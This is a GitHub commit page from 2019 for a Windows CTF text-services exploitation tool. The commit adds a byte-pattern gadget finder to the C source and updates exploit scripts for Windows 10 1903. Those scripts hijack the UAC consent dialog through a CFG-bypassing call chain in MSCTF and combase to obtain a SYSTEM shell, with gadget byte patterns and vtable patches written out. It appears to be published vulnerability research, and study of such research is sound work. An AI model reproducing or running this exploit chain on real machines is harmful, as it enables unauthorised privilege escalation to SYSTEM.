Skip to content
Permalink
Browse files

add a gadget command to find offsets.

This commit adds a gadget command that searches for byte patterns so that I can try
to avoid hardcoding offsets and support more minor version variations.

I also updated and cleaned up the 1903 exploit script a bit to reduce offset hardcoding.
  • Loading branch information...
taviso committed Jul 10, 2019
1 parent b3c7aa4 commit 307ab20ba2b4ef19b912e8e5c0391a3686ccee29
Showing with 160 additions and 26 deletions.
  1. +55 −2 command.c
  2. +1 −0 command.h
  3. +5 −0 commanddoc.h
  4. +76 −0 module.c
  5. +4 −8 scripts/ctf-consent-system.ctf
  6. +18 −15 scripts/ctf-exploit-common-1903.ctf
  7. +1 −1 winutil.h
@@ -50,6 +50,7 @@ PCTF_MARSHAL_PARAM MarshalParams;
UINT64 ClientThreadId;
UINT64 ClientFlags;
ULONG NonInteractive;
UINT64 LastGadget;
ULONGLONG UserRegisters[6];

COMMAND_HANDLER CommandHandlers[] = {
@@ -99,6 +100,7 @@ COMMAND_HANDLER CommandHandlers[] = {
{ "echo", 1, NULL, NULL, PrintHandler },
{ "consent", 0, ConsentDoc, "Invoke the UAC consent dialog.", ConsentHandler },
{ "reg", 3, RegDoc, "Lookup a DWORD in the registry.", RegHandler },
{ "gadget", 2, GadgetDoc, "Find the offset of a pattern in a file.", GadgetHandler },
};

int CompareFirst(PCHAR a, PCHAR *b)
@@ -128,6 +130,7 @@ ULONGLONG DecodeIntegerParameter(PCHAR Value) {
{ "r5", "User defined register.", UserRegisters[5] },
{ "rc", "Return code of last run command.", LastCommandResult },
{ "regval", "The last value queried from the registry.", LastRegistryValue },
{ "gadget", "Result of the last gadget found.", LastGadget }
};

// Check if the caller is requesting help.
@@ -1328,14 +1331,24 @@ ULONG ThreadHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
return 1;
}

static DWORD __stdcall BackgroundThread(LPVOID Parameter)
{
ShellExecute(NULL, "runas", Parameter, 0, 0, SW_SHOWNORMAL);
return 0;
}

ULONG ConsentHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
{
HANDLE RunasThread;

if (ParamCount) {
ShellExecute(NULL, "runas", *Parameters, 0, 0, SW_SHOWNORMAL);
RunasThread = CreateThread(NULL, 0, BackgroundThread, *Parameters, 0, 0);
} else {
ShellExecute(NULL, "runas", "cmd", 0, 0, SW_SHOWNORMAL);
RunasThread = CreateThread(NULL, 0, BackgroundThread, "cmd", 0, 0);
}

CloseHandle(RunasThread);

return 1;
}

@@ -1408,6 +1421,46 @@ ULONG WindowHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
return 1;
}

ULONG GadgetHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
{
SIZE_T Size;
UINT64 Result;
PBYTE ByteString = Parameters[1];
BYTE HexBuf[MAX_BUF];

if (strlen(ByteString) & 1) {
LogMessage(stderr, "Parsing as a hex string, but you didn't specify enough characters!");
return 1;
}

if (strlen(ByteString) > MAX_BUF * 2) {
LogMessage(stderr, "Parsing as a hex string, but you specified too many characters!");
return 1;
}

// Parse as a hex string, e.g. 41414141412eff00
for (Size = 0; *ByteString;) {
BYTE CurrentChar[3] = {0};
CurrentChar[0] = *ByteString++;
CurrentChar[1] = *ByteString++;
#pragma warning(suppress: 6328)
if (sscanf(CurrentChar, "%hhx", &HexBuf[Size++]) != 1) {
LogMessage(stderr, "Parsing hex string but failed, I stopped at %s", CurrentChar);
return 1;
}
}

Result = FindGadgetOffset(*Parameters, HexBuf, Size);

if (Result >= 0) {
LogMessage(stderr, "Found Gadget %.4s... in module %s at offset %#llx", Parameters[1], Parameters[0], Result);
}

LastGadget = Result;

return 1;
}

ULONG CallHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
{
CTF_MSGBASE Message;
@@ -119,6 +119,7 @@ ULONG PrintHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG ConsentHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG RegHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG WindowHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG GadgetHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);

ULONG DispatchCommand(PCHAR CommandLine);
int CompareFirst(PCHAR a, PCHAR *b);
@@ -392,4 +392,9 @@ static const char WindowDoc[] =
"Create and register a window with the monitor. This allows you to log\n"
"window messages received from other ctf clients or servers.\n";

static const char GadgetDoc[] =
"Usage: gadget MODULE BYTESTRING\n"
"Find the first offset of BYTESTRING in MODULE.\n"
"Examples:\n"
" ctf> gadget kernel32 413168c4\n";
#endif
@@ -229,3 +229,79 @@ UINT64 QueryModuleHandle64(PCHAR Module)

return 0;
}

INT64 FindGadgetOffset(PCHAR Module, PCHAR Gadget, SIZE_T GadgetLen)
{
FILE *Input;
INT64 Result = -1;
CHAR ModulePath[MAX_PATH];
CHAR Buffer[8192];
CHAR *Ptr;
PVOID OldValue;

// Copy the name while we figure out where it is.
strncpy(ModulePath, Module, MAX_PATH - 5);

// Is it already fully qualified?
if (PathIsRelative(Module)) {
// This doesnt do anything if there already is an extension.
PathAddExtension(ModulePath, ".DLL");

// Check the usual places for it.
PathFindOnPathA(ModulePath, NULL);
}

LogMessage(stdout, "Guessed %s => %s", Module, ModulePath);

// Disable Redirection so we get the real files.
Wow64DisableWow64FsRedirection(&OldValue);

Input = fopen(ModulePath, "rb");

// Restore Redirection.
Wow64RevertWow64FsRedirection(OldValue);

while (Input) {
size_t count = fread(Buffer, 1, sizeof Buffer, Input);
size_t offset = 0;

//LogMessage(stderr, "fread() => %lu (offset %lu)", count, ftell(Input));

if (count == 0)
goto cleanup;

for (Ptr = memchr(Buffer, *Gadget, count);
Ptr;
Ptr = memchr(Ptr + 1, *Gadget, count - (offset + 1))) {
offset = Ptr - Buffer;

// If this match spans a read, seek back so its at the start.
if (count - offset < GadgetLen) {

//LogMessage(stderr, "Not enough data, count %lu offset %lu, ftell %lu", count, offset, ftell(Input));

// Make sure there was enough data to read.
if (offset) {
//LogMessage(stderr, "rewind");
fseek(Input, -offset, SEEK_CUR);
break;
}

// Not enough data left.
goto cleanup;
}

if (memcmp(Ptr, Gadget, GadgetLen) == 0) {
//LogMessage(stderr, "match at %lu (ftell %lu)", offset, ftell(Input));
Result = ftell(Input) - count + offset;
goto cleanup;
}
}
}

cleanup:
if (Input) {
fclose(Input);
}
return Result;
}
@@ -14,14 +14,14 @@ repeat rc print !!! THIS EXPLOIT REQUIRES C:\WINDOWS\TEMP\EXPLOIT.DLL TO EXIST !
repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
repeat rc print

print
print Right click something and select "Run as Administrator", then wait
print for a SYSTEM shell.
print
print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
print !!! YOU DONT NEED TO KNOW ANY PASSWORD, JUST WAIT! !!!
print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
print
sleep 5000

consent

# Find out if the PromptOnSecureDesktop is enabled.
reg HKLM Software\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop
@@ -37,16 +37,12 @@ and r0 1
# If it wasn't the "secure" desktop, just use the default one.
repeat r0 connect Default sid

# List all the avaialble clients.
print Connected to ctf session, listing clients...

scan

print Waiting for the consent dialog to join the session...

wait consent.exe

print consent.exe has joined the session, starting exploit...
scan

# Now that we're connected and have a target selected, load the exploit script.
script scripts\ctf-exploit-common-1903.ctf
@@ -2,11 +2,15 @@
# 1903 x64.

# The function index to reach MSCTF!CTipProxy::Reconvert.
# 0:000> dqs MSCTF!CStubIEnumTfInputProcessorProfiles::_StubTbl + 0n480*8 L1
# 00007ffd`1aee6440 MSCTF!CTipProxy::Reconvert
set r3 480

# Offset of msvcrt!_init_time from msvcrt base. This is our arbitrary write
# gadget.
set r4 0x31d30
gadget msvcrt 48895C240848896C2410574883EC2083
set r4 gadget
add r4 0xc00

# Offset of slack space in kernel32 .data section. This is where we build our
# fake object in memory.
@@ -34,10 +38,6 @@ createstub 0 4 IID_IEnumTfInputProcessorProfiles
#
# It then does another indirect call to an address we control, so we can build
# a CFG jump chain.
#
# 0:000> dqs MSCTF!CStubIEnumTfInputProcessorProfiles::_StubTbl + 0n496*8 L1
# 00007ffd`1aee6440 MSCTF!CTipProxy::Reconvert
#

# Create a new parameter chain.
setarg 1
@@ -147,11 +147,8 @@ repeat r1 callstub 0 0 r3
# mov rax,qword ptr [rax+8] <-- dereference vtable ptr
# jmp qword ptr [combase!__guard_dispatch_icall_fptr]

# We will use msctf!CCompartmentEventSink::`vftable', the OnChange member is an
# exceptionally lucky gadget for us, so I've adjusted the address to make [rax+8]
# be OnChange.
module64 msctf
patch 0 0x10 module 8 0xf2038
# We point the vtable to our fake object, and make [vtable+8] point to MSCTF!CCompartmentEventSink::OnChange.
patch 0 0x10 r0 8

# 0:000> MSCTF!CCompartmentEventSink::OnChange:
# mov rax,qword ptr [rcx+30h] <-- This is offset 0x40, unlucky we already use it.
@@ -162,20 +159,23 @@ patch 0 0x10 module 8 0xf2038
# We need to add 0x38 to compensate for displacement in the gadget.
patch 0 0x48 r0 8 +0x38

# After this we jump back into combase!CStdProxyBuffer_CF_Release.
# After this we jump back into combase!CStdProxyBuffer_CF_AddRef.
# 0:000> combase!CStdProxyBuffer_CF_Release:
# mov rcx,qword ptr [rcx-38h] <-- The pointer to our slack space in kernel32
# mov rax,qword ptr [rcx] <-- A pointer to itself
# mov rax,qword ptr [rax+10h] <-- Address to go next, which is back through
# mov rax,qword ptr [rax+8] <-- Address to go next, which is back through
# MSCTF!CCompartmentEventSink::OnChange.
# jmp qword ptr [combase!__guard_dispatch_icall_fptr]
#
# I know, I know, how the hell does this even work? It took some work....

# The final stage gadget bounces us back to MSCTF!CCompartmentEventSink::OnChange
# where we can finally load arbitrary rcx and rip.
module64 msctf
set r2 module
add r2 0xc3010
gadget msctf 488b4130488b493848ff25818a0300cc
add r2 gadget
add r2 0xc00

# Alright, lets paste this sucker in.
patch 0 0xa8 r0 8 -0x158
@@ -511,10 +511,13 @@ sub r1 1
and r1 0xff
repeat r1 callstub 0 0 r3

# This is combase!CStdProxyBuffer_CF_Release, now that we've prepared memory
# This is combase!CStdProxyBuffer_CF_AddRef, now that we've prepared memory
# with our arbitrary write gadget, we need to start our code execution chain.
module64 combase
patch 0 0x40 module 8 0x1ee370
gadget combase 488b49c8488b01488b400848ff250e5c
set r1 gadget
add r1 0xc00
patch 0 0x40 module 8 r1

# OK, all done....
print Payload created and call chain ready, get ready...
@@ -6,7 +6,7 @@ DWORD GetFocusThread(void);
PVOID QueryImageName(DWORD ProcessId);
UINT64 QueryModuleHandle64(PCHAR Module);
UINT64 QueryModuleHandle32(PCHAR Module);

INT64 FindGadgetOffset(PCHAR Module, PCHAR Gadget, SIZE_T GadgetLen);
DWORD GetSessionIdByImageName(PCHAR ImageName);

// This finds the ImageBase and offset of a symbol from a 64bit module, this is

0 comments on commit 307ab20

Please sign in to comment.
You can’t perform that action at this time.